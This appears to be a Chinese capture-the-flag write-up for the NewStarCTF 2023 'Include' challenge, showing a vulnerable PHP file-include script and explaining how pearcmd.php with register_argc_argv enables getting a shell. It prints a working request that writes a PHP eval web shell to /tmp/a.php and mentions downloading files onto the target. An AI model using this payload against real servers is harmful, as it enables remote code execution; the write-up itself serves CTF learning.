【pearcmd】通过pearcmd.php 进行GetShell

https://cloud.tencent.com/developer/article/2204400

关于PHP 配置 register_argc_argv 小结 的一些研究文章。

应用例题

[NewStarCTF 2023 公开赛道]Include 🍐

复制代码
<?php
    error_reporting(0);
    if(isset($_GET['file'])) {
        $file = $_GET['file'];
        
        if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
            die('hacker!');
        }
        
        include($file.".php");
        # Something in phpinfo.php!
    }
    else {
        highlight_file(__FILE__);
    }
?>

查看phpinfo.php 尝试搜索flag ,让查看register_argc_argv

通过搜索,发现是关于pearcmd.php的信息。

https://cloud.tencent.com/developer/article/2204400 关于PHP 配置 register_argc_argv 小结 的一些研究文章。

通过查看帮助,php pearcmd.php可以查看该文件的一些使用参数。

可以通过config-create 创建一个木马文件,也可以通过从服务器上下载文件的方式利用。

复制代码
# 创建文件,注意最好通过burp抓包,因为< > 会被url编码,导致木马失效
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[a])?>+/tmp/a.php

成功利用木马

下载文件。这里我就尝试从它自身下载phpinfo。

如图所示,从靶机下载phpinfo,并在响应中返回了保存路径

成功访问下载的phpinfo.php文件

相关推荐
nbsaas-boot2 小时前
Java 正则表达式白皮书:语法详解、工程实践与常用表达式库
开发语言·python·mysql
chao_7892 小时前
二分查找篇——搜索旋转排序数组【LeetCode】两次二分查找
开发语言·数据结构·python·算法·leetcode
风无雨2 小时前
GO 启动 简单服务
开发语言·后端·golang
斯普信专业组2 小时前
Go语言包管理完全指南:从基础到最佳实践
开发语言·后端·golang
coderlin_4 小时前
BI布局拖拽 (1) 深入react-gird-layout源码
android·javascript·react.js
我是苏苏4 小时前
C#基础:Winform桌面开发中窗体之间的数据传递
开发语言·c#
2501_915918414 小时前
Fiddler中文版全面评测:功能亮点、使用场景与中文网资源整合指南
android·ios·小程序·https·uni-app·iphone·webview
斐波娜娜4 小时前
Maven详解
java·开发语言·maven
小码氓4 小时前
Java填充Word模板
java·开发语言·spring·word
暮鹤筠5 小时前
[C语言初阶]操作符
c语言·开发语言